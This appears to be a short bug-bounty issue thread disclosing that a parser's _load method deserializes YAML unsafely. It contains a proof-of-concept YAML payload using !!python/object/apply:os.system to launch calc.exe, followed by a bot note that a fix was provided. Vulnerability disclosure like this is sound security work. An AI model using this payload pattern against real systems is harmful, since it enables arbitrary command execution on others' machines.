parser._load method is vulnerable

[bigbigliang-malwarebenchmark]

#coding=utf-8
from definitions import Parser
a = Parser._load('C:\Users\Administrator\Desktop\simple.yaml')
#'C:\Users\Administrator\Desktop\simple.yaml':!!python/object/apply:os.system ["calc.exe"]

Hi, there is a vulnerability in load() method in parser.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

[huntr-helper]

‎‍🛠️ A fix has been provided for this issue. Please reference: 418sec#1

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.